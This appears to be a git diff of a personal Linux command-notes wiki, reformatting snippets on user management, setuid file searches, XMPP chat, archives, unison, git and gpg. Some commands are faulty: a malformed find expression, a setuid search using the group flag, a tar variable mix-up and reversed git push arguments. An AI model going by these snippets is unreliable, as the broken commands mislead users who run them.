||||
|
||||
> sudo adduser maestro
|
||||
```bash
|
||||
sudo adduser maestro
|
||||
```
|
||||
|
||||
add user 'maestro'
|
||||
|
||||
This depends upon the settings in the /etc/default/useradd file and /etc/login.defs
|
||||
|
||||
> sudo useradd -m pinkie
|
||||
```bash
|
||||
sudo useradd -m pinkie
|
||||
```
|
||||
|
||||
add user 'pinkie' with a home directory
|
||||
|
||||
> sudo adduser -m -e 2017-04-25 temp
|
||||
```bash
|
||||
sudo adduser -m -e 2017-04-25 temp
|
||||
```
|
||||
|
||||
add expiry date to user
|
||||
|
||||
> userdel maestro
|
||||
```bash
|
||||
userdel maestro
|
||||
```
|
||||
|
||||
delete maestro
|
||||
|
||||
> userdel -r maestro
|
||||
```bash
|
||||
userdel -r maestro
|
||||
```
|
||||
|
||||
delete maestro and hir homefolder
|
||||
|
||||
> groups
|
||||
```bash
|
||||
groups
|
||||
```
|
||||
|
||||
find which group you are in
|
||||
|
||||
|
||||
> id
|
||||
```bash
|
||||
id
|
||||
```
|
||||
|
||||
same
|
||||
|
||||
> id -Gn maestro
|
||||
```bash
|
||||
id -Gn maestro
|
||||
```
|
||||
|
||||
Find which groups maestro is in
|
||||
|
||||
|
||||
> deluser --remove-home maestro
|
||||
```bash
|
||||
deluser --remove-home maestro
|
||||
```
|
||||
|
||||
delete user maestro
|
||||
|
||||
|
||||
> usermod -aG sudo maestro
|
||||
```bash
|
||||
usermod -aG sudo maestro
|
||||
```
|
||||
|
||||
add user maestro to group sudo
|
||||
Add user maestro to group sudo:
|
||||
|
||||
|
||||
> cat /etc/passwd
|
||||
```bash
|
||||
cat /etc/passwd
|
||||
```
|
||||
|
||||
list users' passwords (and therefore users)
|
||||
|
||||
> groupadd awesome
|
||||
```bash
|
||||
groupadd awesome
|
||||
```
|
||||
|
||||
create the group 'awesome'
|
||||
|
||||
passwords are stored in /etc/shadow.
|
||||
Passwords are stored in /etc/shadow.
|
||||
|
||||
there are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
|
||||
There are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
|
||||
|
||||
> passwd -l bin
|
||||
```bash
|
||||
passwd -l bin
|
||||
```
|
||||
|
||||
lock the user 'bin'
|
||||
Lock the user 'bin'.
|
||||
|
||||
> more /etc/passwd | grep games
|
||||
```bash
|
||||
more /etc/passwd | grep games
|
||||
```
|
||||
|
||||
we find the name, password and user id of the user 'games'. I.e. the password is 'x', and the user id is '5'. The password is an impossible hash, so no input password could match.
|
||||
|
||||
> groupdel learners | delete the group 'learners'
|
||||
```bash
|
||||
groupdel learners | delete the group 'learners'
|
||||
```
|
||||
|
||||
> gpasswd -d pi games | remove user 'pi' from the group 'games'
|
||||
```bash
|
||||
gpasswd -d pi games | remove user 'pi' from the group 'games'
|
||||
```
|
||||
|
||||
> id games
|
||||
```bash
|
||||
id games
|
||||
```
|
||||
|
||||
find the id number of group 'games' (60)
|
||||
|
||||
> usermod -aG sudo maestro
|
||||
```bash
|
||||
usermod -aG sudo maestro
|
||||
```
|
||||
|
||||
add user to group 'maestro'
|
||||
|
||||
@ -114,7 +156,9 @@ Alternatively, change the shell in /etc/passwd.
|
||||
|
||||
Usermod also lets you change a user's username:
|
||||
|
||||
> usermod -l henry mark
|
||||
```bash
|
||||
usermod -l henry mark
|
||||
```
|
||||
|
||||
However, this will not change the home directory.
|
||||
|
||||
@ -126,7 +170,9 @@ usermod -L henry
|
||||
|
||||
-G or -groups adds the user to other groups:
|
||||
|
||||
> usermod -G sudo henry
|
||||
```bash
|
||||
usermod -G sudo henry
|
||||
```
|
||||
|
||||
-s adds the user to a shell.
|
||||
|
||||
@ -140,45 +186,53 @@ In /etc/group, a group file may look like this:
|
||||
|
||||
We can use groupmod, like like usermod, e.g. to change a name:
|
||||
|
||||
> groupmod -n frontoffice backoffice
|
||||
```bash
|
||||
groupmod -n frontoffice backoffice
|
||||
```
|
||||
|
||||
Delte a group:
|
||||
|
||||
> groupdel frontoffice
|
||||
```bash
|
||||
groupdel frontoffice
|
||||
```
|
||||
|
||||
# Logins
|
||||
|
||||
See list of logged on users.
|
||||
|
||||
> w
|
||||
```bash
|
||||
w
|
||||
```
|
||||
|
||||
See last logons:
|
||||
|
||||
> last
|
||||
```bash
|
||||
last
|
||||
```
|
||||
|
||||
or all logon attempts, including bad attempts:
|
||||
|
||||
> lastb
|
||||
```bash
|
||||
lastb
|
||||
```
|
||||
|
||||
List recently accessed files:
|
||||
|
||||
> last -d
|
||||
```bash
|
||||
last -d
|
||||
```
|
||||
|
||||
See files opened by steve
|
||||
|
||||
> lsof -t -u steve
|
||||
```bash
|
||||
lsof -t -u steve
|
||||
```
|
||||
|
||||
See files opened by anyone but steve
|
||||
|
||||
> lsof -u ^steve
|
||||
|
||||
Fuser can also track people loggingin:
|
||||
|
||||
> fuser /var/log/syslog
|
||||
|
||||
... and fuser can kill everything accessing the home directory:
|
||||
|
||||
> fuser -km /home
|
||||
```bash
|
||||
lsof -u ^steve
|
||||
```
|
||||
|
||||
# Looking for Dodgy Files
|
||||
|
||||
@ -186,21 +240,29 @@ Some files can be executed by people as if they had super user permissions, and
|
||||
|
||||
Let's start with files executable by user:
|
||||
|
||||
> sudo find / -type f -perm -g=s -ls
|
||||
```bash
|
||||
sudo find / -type f -perm -g=s -ls
|
||||
```
|
||||
|
||||
And then those executable by the group:
|
||||
|
||||
> find / -type f -perm -g=s -ls
|
||||
```bash
|
||||
find / -type f -perm -g=s -ls
|
||||
```
|
||||
|
||||
And finally, worrying files, executable by anyone as if sie were the owner:
|
||||
|
||||
> find / -xdev \( -o -nogroup \) -print
|
||||
```bash
|
||||
find / -xdev \( -o -nogroup \) -print
|
||||
```
|
||||
|
||||
Then have a look at resource usage per user.
|
||||
|
||||
#SGID
|
||||
# SGID
|
||||
|
||||
> sudo chmod u+s process.sh
|
||||
```bash
|
||||
sudo chmod u+s process.sh
|
||||
```
|
||||
|
||||
This will modify process.sh to that instead of being simply executable, anyone executing it will have the permissions as if owner while executing it.
|
||||
|
||||
|
@ -6,23 +6,33 @@ tags: [ "Documentation", "Chat" ]
|
||||
|
||||
Sign up to an account somewhere.
|
||||
|
||||
> /connect bob@bobserver.org
|
||||
```
|
||||
/connect bob@bobserver.org
|
||||
```
|
||||
|
||||
Check if someone wants to be your friend:
|
||||
|
||||
> /sub received
|
||||
```
|
||||
/sub received
|
||||
```
|
||||
|
||||
Accept a friend's subscription request:
|
||||
|
||||
> /sub add alice@aliceserver.org
|
||||
```
|
||||
/sub add alice@aliceserver.org
|
||||
```
|
||||
|
||||
Join a room:
|
||||
|
||||
> /join room1@bobserver.org
|
||||
```
|
||||
/join room1@bobserver.org
|
||||
```
|
||||
|
||||
Save your configuration so you don't have to do this again:
|
||||
|
||||
> /save
|
||||
```
|
||||
/save
|
||||
```
|
||||
|
||||
Check your `~/.config/profanity/profrc` for how to data's saved.
|
||||
|
||||
@ -30,11 +40,17 @@ Check your `~/.config/profanity/profrc` for how to data's saved.
|
||||
|
||||
To automatically sign in, add your password to [pass](../data/pass.md).
|
||||
|
||||
> /account set *malin@oosm.org* eval_password pass *xmpp*
|
||||
```
|
||||
/account set *malin@oosm.org* eval_password pass *xmpp*
|
||||
```
|
||||
|
||||
> /autoconnect set *malin@oosm.org*
|
||||
```
|
||||
/autoconnect set *malin@oosm.org*
|
||||
```
|
||||
|
||||
> /save
|
||||
```
|
||||
/save
|
||||
```
|
||||
|
||||
Remember to save the config for other commands too.
|
||||
|
||||
@ -42,7 +58,9 @@ Remember to save the config for other commands too.
|
||||
|
||||
## Messages
|
||||
|
||||
> /msg alice@aliceserver.org
|
||||
```
|
||||
/msg alice@aliceserver.org
|
||||
```
|
||||
|
||||
This opens in a new tab.
|
||||
Switch tabs with alt+number.
|
||||
@ -51,75 +69,109 @@ Switch tabs with alt+number.
|
||||
|
||||
The [docs](https://profanity-im.github.io/guide/0131/reference.html) are massive, so it's often better to use:
|
||||
|
||||
> /help <Tab>
|
||||
```
|
||||
/help <Tab>
|
||||
```
|
||||
|
||||
## Editing
|
||||
|
||||
For long text, you can use vim:
|
||||
|
||||
> /executable editor set vim
|
||||
```
|
||||
/executable editor set vim
|
||||
```
|
||||
|
||||
> /editor
|
||||
```
|
||||
/editor
|
||||
```
|
||||
|
||||
## Sending & Receiving Files
|
||||
|
||||
Tell it how to save files:
|
||||
|
||||
> /executable urlsave set "wget %u -O %p"
|
||||
```
|
||||
/executable urlsave set "wget %u -O %p"
|
||||
```
|
||||
|
||||
Then get the file with:
|
||||
|
||||
> /urlsave *<Tab>*
|
||||
```
|
||||
/urlsave *<Tab>*
|
||||
```
|
||||
|
||||
Same for `/urlopen`
|
||||
|
||||
## Theme
|
||||
|
||||
> profanity
|
||||
```
|
||||
profanity
|
||||
```
|
||||
|
||||
> /theme list
|
||||
```
|
||||
/theme list
|
||||
```
|
||||
|
||||
> theme load batman
|
||||
```
|
||||
theme load batman
|
||||
```
|
||||
|
||||
# Encryption
|
||||
|
||||
## omemo
|
||||
|
||||
> /omemo gen
|
||||
```
|
||||
/omemo gen
|
||||
```
|
||||
|
||||
> /omemo start
|
||||
```
|
||||
/omemo start
|
||||
```
|
||||
|
||||
You can accept everyone's fingerprint all the time with
|
||||
|
||||
> /omemo trustmode firstusage
|
||||
```
|
||||
/omemo trustmode firstusage
|
||||
```
|
||||
|
||||
This will still encrypt, but there will be no check that you have the right person the first time you speak with someone.
|
||||
|
||||
You can ensure omemo automatcally turns on:
|
||||
|
||||
> /omemo policy automatic
|
||||
```
|
||||
/omemo policy automatic
|
||||
```
|
||||
|
||||
## otr
|
||||
|
||||
Install libotr-dev or libotr5-dev or whatever..
|
||||
|
||||
> sudo apt -y install lib5otr-dev
|
||||
```
|
||||
sudo apt -y install lib5otr-dev
|
||||
```
|
||||
|
||||
Make your otr keys.
|
||||
|
||||
> /otr gen
|
||||
```
|
||||
/otr gen
|
||||
```
|
||||
|
||||
Then you can start an otr converstation.
|
||||
|
||||
> /otr start bob@jobbies.org
|
||||
```
|
||||
/otr start bob@jobbies.org
|
||||
```
|
||||
|
||||
Or if you already have a conversation windows open, switch to our using:
|
||||
|
||||
> /otr
|
||||
```
|
||||
/otr
|
||||
```
|
||||
|
||||
Finally, verify!
|
||||
|
||||
> /otr question "Who are you?" bob
|
||||
```
|
||||
/otr question "Who are you?" bob
|
||||
```
|
||||
|
||||
Bob is verified upon the answer, 'bob'.
|
||||
|
||||
@ -127,9 +179,15 @@ Bob is verified upon the answer, 'bob'.
|
||||
|
||||
Get yours with
|
||||
|
||||
> /otr myfp
|
||||
```
|
||||
/otr myfp
|
||||
```
|
||||
|
||||
> /otr theirfp
|
||||
```
|
||||
/otr theirfp
|
||||
```
|
||||
|
||||
> /otr myfp
|
||||
```
|
||||
/otr myfp
|
||||
```
|
||||
|
||||
|
@ -5,17 +5,25 @@ tags: [ "Documentation", "Chat" ]
|
||||
|
||||
See available pastebins:
|
||||
|
||||
> wgetpaste -S
|
||||
```bash
|
||||
wgetpaste -S
|
||||
```
|
||||
|
||||
Upload script.sh to bpaste:
|
||||
|
||||
> wgetpaste -s bpaste script.sh
|
||||
```bash
|
||||
wgetpaste -s bpaste script.sh
|
||||
```
|
||||
|
||||
Input clipboard to dpaste with the heading "Title"
|
||||
|
||||
> wgetpaste -s dpaste -d Title -x
|
||||
```bash
|
||||
wgetpaste -s dpaste -d Title -x
|
||||
```
|
||||
|
||||
Paste in the file then load the result to the right-hand clipboard:
|
||||
|
||||
> wgetpaste -s dpaste -X
|
||||
```bash
|
||||
wgetpaste -s dpaste -X
|
||||
```
|
||||
|
||||
|
@ -1,26 +1,79 @@
|
||||
---
|
||||
title: "archives"
|
||||
tags: [ "Documentation", "backups" ]
|
||||
title: "Archives"
|
||||
tags: [ "Documentation", "tar", "backups" ]
|
||||
---
|
||||
# GPG Archives
|
||||
# `tar`
|
||||
|
||||
Create an encrypted archive with `gpg`:
|
||||
## Create
|
||||
|
||||
> tar czvpf - file1.txt file2.pdf file3.jpg | gpg --symmetric --cipher-algo aes256 -o myarchive.tar.gz.gpg
|
||||
Combine many files and directories into a single t-archive file.
|
||||
|
||||
And extract it with `gpg`:
|
||||
```bash
|
||||
tar cf "$ARCHIVE".tar $DIR
|
||||
```
|
||||
You can remember this with the mnemonic '*C*reate *F*ile'.
|
||||
|
||||
> gpg -d myarchive.tar.gz.gpg | tar xzvf -
|
||||
Unfortunately, this stores the full file path, so making a tar archive of `/etc/nginx/` will store `etc/nginx` (without the leading `/`.
|
||||
|
||||
It's often better to tell tar which path to start from using the `-C` flag.
|
||||
|
||||
```bash
|
||||
tar cf "$ARCHIVE".tar -C /etc/ nginx
|
||||
```
|
||||
|
||||
Check the contents of your archive with:
|
||||
|
||||
```bash
|
||||
tar tf "$ARCHIVE".tar
|
||||
```
|
||||
|
||||
If you want to store 'everything in a directory', then using `*` will not work, because it will target everything in the *current* directory.
|
||||
|
||||
Instead, you can store the target in a variable:
|
||||
|
||||
```bash
|
||||
files=$(ls /etc/nginx)
|
||||
tar cf "$ARCHIVE".tar -C /etc/nginx/ $file
|
||||
```
|
||||
|
||||
## Extract
|
||||
|
||||
Extract the tar archive with
|
||||
|
||||
> tar xf "$ARCHIVE".tar
|
||||
|
||||
You can remember this with the mnemonic 'e*X*tract *F*ile'.
|
||||
|
||||
## Compress
|
||||
|
||||
Create a zip-compressed archive with the `z` flag.
|
||||
|
||||
```bash
|
||||
tar czf "$ARCHIVE".tgz -C /etc/nginx/ $file
|
||||
```
|
||||
|
||||
You can use any file ending you want, but sane people like to use '.tgz' or '.tar.tgz'.
|
||||
|
||||
# 7zip
|
||||
|
||||
(also called 'p7zip' or '7z')
|
||||
|
||||
Make archive:
|
||||
|
||||
> 7za a -tzip -pPASSWORD -mem=AES256 archive.zip file1 file2
|
||||
|
||||
```bash
|
||||
PASSWORD=my_password
|
||||
```
|
||||
```bash
|
||||
7za a -tzip -p$PASSWORD -mem=AES256 $ARCHIVE.zip $FILE_1 $FILE_2
|
||||
```
|
||||
Note that people can still see every filename in your archive, and can change those files.
|
||||
They just can't read the contents.
|
||||
|
||||
Unzip:
|
||||
|
||||
> 7za e archive.zip
|
||||
```bash
|
||||
7za x archive.zip
|
||||
```
|
||||
|
||||
7zip will open anything: zip-files, rar-files, a tin of beans, *anything*.
|
||||
However, the extracted tgz files will just be tar files, so you will still need to use tar to extract them (see above).
|
||||
|
@ -5,28 +5,36 @@ tags: [ "Documentation", "Backups" ]
|
||||
|
||||
Install unison on both machines, and make sure both have the same version of unison, with the same version of the ocaml compiler (the smallest difference will cause problems).
|
||||
|
||||
> unison -version
|
||||
```bash
|
||||
unison -version
|
||||
```
|
||||
|
||||
Create the `~/.unison` directory on both machines.
|
||||
|
||||
Make a job called `backup`:
|
||||
|
||||
> vim ~/.unison/*backup*.prf
|
||||
|
||||
You can name the file anything, but it must end in .prf.
|
||||
|
||||
Here is an example job, which synchronizes the `~/music` directory with a remote machine.
|
||||
|
||||
```bash
|
||||
JOB=backup
|
||||
```
|
||||
|
||||
Here is an example job, which synchronizes the `~/music` directory with a remote machine which has the same username.
|
||||
|
||||
|
||||
```bash
|
||||
echo "
|
||||
auto = true
|
||||
root=/home/ghost
|
||||
root=ssh://ghost@192.168.0.10//home/ghost/
|
||||
root=$HOME
|
||||
root=ssh://$USER@$IP_ADDRESS/$HOME
|
||||
|
||||
path=music
|
||||
|
||||
ignore=Name *.flac
|
||||
" > ~/.unison/"$JOB".prf
|
||||
|
||||
```
|
||||
|
||||
Remember to specify `$IP_ADDRESS`
|
||||
|
||||
The last command means it will ignore any file with a name ending in `.flac`.
|
||||
|
||||
## Automatic Runs
|
||||
@ -34,11 +42,12 @@ The last command means it will ignore any file with a name ending in `.flac`.
|
||||
The first command means this will run but also confirm which files will be deleted, and which will be transferred, us `batch = true` instead.
|
||||
Or you can deleted that line in the `.prf` file and run it with a flag:
|
||||
|
||||
> unison -batch *backup*.prf
|
||||
```bash
|
||||
unison -batch *backup*.prf
|
||||
```
|
||||
|
||||
Set unison to run with crontab or a systemd unit file to have directories synchronize automatically.
|
||||
|
||||
|
||||
## Problem Solving
|
||||
|
||||
You will see data files summarizing what has happened in the `~/.unison` directory.
|
||||
|
@ -5,14 +5,20 @@ tags: [ "Documentation", "data" ]
|
||||
|
||||
Install, and add with
|
||||
|
||||
> git lfs install
|
||||
```bash
|
||||
git lfs install
|
||||
```
|
||||
|
||||
Then track some filetype with:
|
||||
|
||||
> git lfs track "\*.ttf"
|
||||
```bash
|
||||
git lfs track "\*.ttf"
|
||||
```
|
||||
|
||||
Or a directory with:
|
||||
|
||||
> git lfs track "images/"
|
||||
```bash
|
||||
git lfs track "images/"
|
||||
```
|
||||
|
||||
All changes require adding `.gitattributes`.
|
||||
|
146
data/git.md
146
data/git.md
@ -6,93 +6,140 @@ tags: [ "Documentation", "data" ]
|
||||
|
||||
## New Machines
|
||||
|
||||
> git config --global user.email *"malinfreeborn@posteo.net"*
|
||||
```bash
|
||||
git config --global user.email "$YOUR_EMAIL"
|
||||
```
|
||||
|
||||
> git config --global user.name *"Malin Freeborn"*
|
||||
```bash
|
||||
git config --global user.name "$YOUR_NAME"
|
||||
```
|
||||
|
||||
# New Git
|
||||
|
||||
Start a git in a folder:
|
||||
Start a git in directory `$DIR`:
|
||||
|
||||
> mkdir *project* && cd *project*
|
||||
```bash
|
||||
mkdir $DIR && cd $DIR
|
||||
```
|
||||
|
||||
> git init
|
||||
```bash
|
||||
git init
|
||||
```
|
||||
|
||||
Make a file explaining what the project does:
|
||||
|
||||
> vim README.md
|
||||
```bash
|
||||
vim README.md
|
||||
```
|
||||
|
||||
> git add README.md
|
||||
Add this to the git:
|
||||
|
||||
```bash
|
||||
git add README.md
|
||||
```
|
||||
|
||||
Then make the initial commit, explaining the change you just made:
|
||||
|
||||
> git commit
|
||||
```bash
|
||||
git commit
|
||||
```
|
||||
|
||||
# Working
|
||||
|
||||
Once you make a change to some file ("file.sh"), add it and make a commit explaining it.
|
||||
Once you make a change to some file, add it and make a commit explaining it.
|
||||
|
||||
> git add file.sh
|
||||
```bash
|
||||
git add $FILE
|
||||
```
|
||||
|
||||
> git commit -m"change file.sh"
|
||||
```bash
|
||||
git commit -m"change $FILE"
|
||||
```
|
||||
|
||||
Check your history:
|
||||
|
||||
> git log
|
||||
```bash
|
||||
git log
|
||||
```
|
||||
|
||||
# Remotes
|
||||
|
||||
If you want to keep a copy on a public site such as Gitlab, so others can see it, then go there and create a blank project (no readme, nothing).
|
||||
Find the address you want and add it as a remote:
|
||||
Give it the same name as the `$DIR` directory, above.
|
||||
|
||||
> git remote add *gitlab* *https://gitlab.com/username/projectx*
|
||||
Add this as a remote:
|
||||
|
||||
```bash
|
||||
REMOTE=gitlab
|
||||
git remote add $REMOTE https://gitlab.com/$USERNAME/$DIR
|
||||
```
|
||||
|
||||
Tell git you're pushing the branch "master" to the remote repo "origin":
|
||||
|
||||
> git push -u master origin
|
||||
```bash
|
||||
git push -u master origin
|
||||
```
|
||||
|
||||
If someone makes a change on the remote, pull it down with:
|
||||
|
||||
> git pull
|
||||
```bash
|
||||
git pull
|
||||
```
|
||||
|
||||
# Branches
|
||||
|
||||
A branch is a full copy of the project to test additional ideas.
|
||||
You can make a new branch called 'featurez' like this:
|
||||
|
||||
> git branch *featurez*
|
||||
```bash
|
||||
git branch *featurez*
|
||||
```
|
||||
|
||||
Have a look at all your branches:
|
||||
|
||||
> git branch
|
||||
```bash
|
||||
git branch
|
||||
```
|
||||
|
||||
Switch to your new branch:
|
||||
|
||||
> git checkout *featurez*
|
||||
```bash
|
||||
git checkout *featurez*
|
||||
```
|
||||
|
||||
And if your changes are rubbish, checkout the "master" branch again, then delete "featurez":
|
||||
|
||||
> git branch -D *featurez*
|
||||
```bash
|
||||
git branch -D *featurez*
|
||||
```
|
||||
|
||||
Or if it's a good branch, push it to the remote:
|
||||
|
||||
> git push *origin* *featurez*
|
||||
```bash
|
||||
git push *origin* *featurez*
|
||||
```
|
||||
|
||||
## Merging
|
||||
|
||||
Once you like the feature, merge it into the main branch. Switch to master then merge it:
|
||||
|
||||
> git merge *featurez*
|
||||
```bash
|
||||
git merge *featurez*
|
||||
```
|
||||
|
||||
and delete `featurez` as you've already merged it:
|
||||
|
||||
> git branch -d featurez
|
||||
```bash
|
||||
git branch -d featurez
|
||||
```
|
||||
|
||||
# Subtree
|
||||
|
||||
## Pulling another git repo into a subtree
|
||||
|
||||
> git subtree add -P config git@gitlab.com:bindrpg/config.git master
|
||||
```bash
|
||||
git subtree add -P config git@gitlab.com:bindrpg/config.git master
|
||||
```
|
||||
|
||||
## Pulling a Subtree from an existing git
|
||||
|
||||
@ -100,13 +147,17 @@ The project has subdirectories sub-1,sub-2,sub-3. The first should be its own r
|
||||
|
||||
First, we extract its history as an independent item, and make that into a seprate branch.
|
||||
|
||||
> git subtree split --prefix=sub-1 -b sub
|
||||
```bash
|
||||
git subtree split --prefix=sub-1 -b sub
|
||||
```
|
||||
|
||||
If you want something a few directories deep, you can use `--prefix=sub-1/dir-2/dir-3
|
||||
|
||||
Then go and create a new git somewhere else:
|
||||
|
||||
> cd ..;mkdir sub-1;cd sub-1;git init --bare
|
||||
```bash
|
||||
cd ..;mkdir sub-1;cd sub-1;git init --bare
|
||||
```
|
||||
|
||||
Then go back to your initial git repo, and do the following:
|
||||
|
||||
@ -114,38 +165,57 @@ git push ../subtest sub:master
|
||||
|
||||
Finally, you can clone this repo from your original.
|
||||
|
||||
> git clone ../subtest
|
||||
```bash
|
||||
git clone ../subtest
|
||||
```
|
||||
|
||||
# Tricks
|
||||
|
||||
## Delete All History
|
||||
|
||||
> git checkout --orphan temp
|
||||
```bash
|
||||
git checkout --orphan temp
|
||||
```
|
||||
|
||||
> git add -A
|
||||
```bash
|
||||
git add -A
|
||||
```
|
||||
|
||||
> git commit -am "release the commits!"
|
||||
```bash
|
||||
git commit -am "release the commits!"
|
||||
```
|
||||
|
||||
> git branch -D master
|
||||
```bash
|
||||
git branch -D master
|
||||
```
|
||||
|
||||
> git branch -m master
|
||||
```bash
|
||||
git branch -m master
|
||||
```
|
||||
|
||||
> git push -f origin master
|
||||
```bash
|
||||
git push -f origin master
|
||||
```
|
||||
|
||||
Gitlab requires more changes, such as going to `settings > repository` and switching the main branch, then stripping protection.
|
||||
|
||||
## Clean up Bloated Repo
|
||||
|
||||
> git fsck --full
|
||||
```bash
|
||||
git fsck --full
|
||||
```
|
||||
|
||||
> git gc --prune=now --aggressive
|
||||
```bash
|
||||
git gc --prune=now --aggressive
|
||||
```
|
||||
|
||||
> git repack
|
||||
```bash
|
||||
git repack
|
||||
```
|
||||
|
||||
## Find Binary Blobs
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
git rev-list --objects --all \
|
||||
| git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' \
|
||||
| sed -n 's/^blob //p' \
|
||||
|
@ -1,54 +0,0 @@
|
||||
---
|
||||
title: "gpg keys with ssh"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
---
|
||||
|
||||
<!--
|
||||
Source:
|
||||
https://ryanlue.com/posts/2017-06-29-gpg-for-ssh-auth
|
||||
-->
|
||||
|
||||
Install `gnupg`.
|
||||
|
||||
Generate a new gpg key just for authentication:
|
||||
|
||||
> gpg2 --expert --edit-key 024C6B1C84449BD1CB4DF7A152295D2377F4D70F
|
||||
|
||||
Toggle options `S`, `E`, and `A` until the following output:
|
||||
|
||||
```
|
||||
Current allowed actions: Authenticate
|
||||
```
|
||||
|
||||
Add ssh to the gpg key agent.
|
||||
|
||||
> echo enable-ssh-support >> ~/.gnupg/gpg-agent.conf
|
||||
|
||||
This won't take effect until you restart the gpg agent, so kill it:
|
||||
|
||||
> gpgconf --kill gpg-agent
|
||||
|
||||
> gpgconf --launch gpg-agent
|
||||
|
||||
Use 2048 (or whatever) bits, save, and exit.
|
||||
|
||||
Add this to your `~/.bash_profile`:
|
||||
|
||||
```
|
||||
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
|
||||
```
|
||||
|
||||
> source ~/.bash_profile
|
||||
|
||||
Find the ssh key's keygrip with:
|
||||
|
||||
> gpg -k --with-keygrip
|
||||
|
||||
It's the one with `[A]` next to it.
|
||||
Add it to `~/.gnupg/sshcontrol`.
|
||||
|
||||
> echo 1P0P6SA7S07Q8198414P126OR0514R3R8Q1389SP > ~/.gnupg/sshcontrol
|
||||
|
||||
Confirm it's added:
|
||||
|
||||
> ssh-add -l
|
52
data/gpg.md
52
data/gpg.md
@ -6,13 +6,17 @@ tags: [ "Documentation", "data" ]
|
||||
|
||||
Generate keys:
|
||||
|
||||
> gpg --gen-key
|
||||
```bash
|
||||
gpg --gen-key
|
||||
```
|
||||
|
||||
Follow the guide.
|
||||
|
||||
# Encrypting a file
|
||||
|
||||
> gpg -r malinfreeborn@posteo.net -e file
|
||||
```bash
|
||||
gpg -r malinfreeborn@posteo.net -e file
|
||||
```
|
||||
|
||||
`-r` specifies the recipient.
|
||||
|
||||
@ -28,11 +32,15 @@ gpg --list-keys
|
||||
|
||||
Make a password with a password (cypher encryption).
|
||||
|
||||
> gpg -c --output passwords.txt
|
||||
```bash
|
||||
gpg -c --output passwords.txt
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
> gpg -c > passwords.txt
|
||||
```bash
|
||||
gpg -c > passwords.txt
|
||||
```
|
||||
|
||||
Put in a password.
|
||||
|
||||
@ -40,17 +48,23 @@ Write message then stop with Ctrl+d.
|
||||
|
||||
Get the message back out the file with:
|
||||
|
||||
> gpg -d passwords.txt
|
||||
```bash
|
||||
gpg -d passwords.txt
|
||||
```
|
||||
|
||||
# Circles of Trust
|
||||
|
||||
Search for a key at any key store:
|
||||
|
||||
> gpg --search-keys nestorv
|
||||
```bash
|
||||
gpg --search-keys nestorv
|
||||
```
|
||||
|
||||
Once you've made a decision about someone:
|
||||
|
||||
> gpg --list-keys
|
||||
```bash
|
||||
gpg --list-keys
|
||||
```
|
||||
|
||||
You get something like this:
|
||||
|
||||
@ -67,27 +81,39 @@ This is a fingerprint.
|
||||
|
||||
You can now decide the trust level (this stays on your computer).
|
||||
|
||||
> gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
|
||||
```bash
|
||||
gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
|
||||
```
|
||||
|
||||
Once you're in the interface, type `trust`.
|
||||
|
||||
> gpg --sign-key alice@posteo.net
|
||||
```bash
|
||||
gpg --sign-key alice@posteo.net
|
||||
```
|
||||
|
||||
Then send those trusted keys up to a server, so people can see you have verified them:
|
||||
|
||||
> gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
|
||||
```bash
|
||||
gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
|
||||
```
|
||||
|
||||
# Refresh Keys
|
||||
|
||||
> gpg --refresh-keys
|
||||
```bash
|
||||
gpg --refresh-keys
|
||||
```
|
||||
|
||||
# Export
|
||||
|
||||
Your public key:
|
||||
|
||||
> gpg --output *me*.gpg --armor --export
|
||||
```bash
|
||||
gpg --output *me*.gpg --armor --export
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
> gpg --export -a *person@email.tld* > *my_key*.pub
|
||||
```bash
|
||||
gpg --export -a *person@email.tld* > *my_key*.pub
|
||||
```
|
||||
|
||||
|
@ -4,37 +4,57 @@ tags: [ "Documentation", "Data" ]
|
||||
---
|
||||
Get the basic config:
|
||||
|
||||
> mkdir ~/.config/khard
|
||||
```bash
|
||||
mkdir ~/.config/khard
|
||||
```
|
||||
|
||||
> cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
|
||||
```bash
|
||||
cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
|
||||
```
|
||||
|
||||
Short list
|
||||
|
||||
> khard list
|
||||
```bash
|
||||
khard list
|
||||
```
|
||||
|
||||
Longer list
|
||||
|
||||
> khard show
|
||||
```bash
|
||||
khard show
|
||||
```
|
||||
|
||||
Show from addressbook 'work'
|
||||
|
||||
> khard list -a work
|
||||
```bash
|
||||
khard list -a work
|
||||
```
|
||||
|
||||
Make a new contact in address book 'family'
|
||||
|
||||
> khard new -a family
|
||||
```bash
|
||||
khard new -a family
|
||||
```
|
||||
|
||||
> khard edit grampa
|
||||
```bash
|
||||
khard edit grampa
|
||||
```
|
||||
|
||||
> khard remove bob
|
||||
```bash
|
||||
khard remove bob
|
||||
```
|
||||
|
||||
Move contact 'nina' from 'work' to 'home' address book.
|
||||
|
||||
> khard move -a home nina -A work
|
||||
```bash
|
||||
khard move -a home nina -A work
|
||||
```
|
||||
|
||||
## Advanced
|
||||
|
||||
Merge:
|
||||
|
||||
> khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]
|
||||
```bash
|
||||
khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]
|
||||
```
|
||||
|
||||
|
@ -4,9 +4,13 @@ tags: [ "Documentation", "RSS" ]
|
||||
---
|
||||
Create the configuration directory before you start, and add at least 1 URL.
|
||||
|
||||
> mkdir ~/.config/newsboat
|
||||
```bash
|
||||
mkdir ~/.config/newsboat
|
||||
```
|
||||
|
||||
> echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
|
||||
```bash
|
||||
echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
|
||||
```
|
||||
|
||||
Start `newsobat` and press `r` to load your feed.
|
||||
|
||||
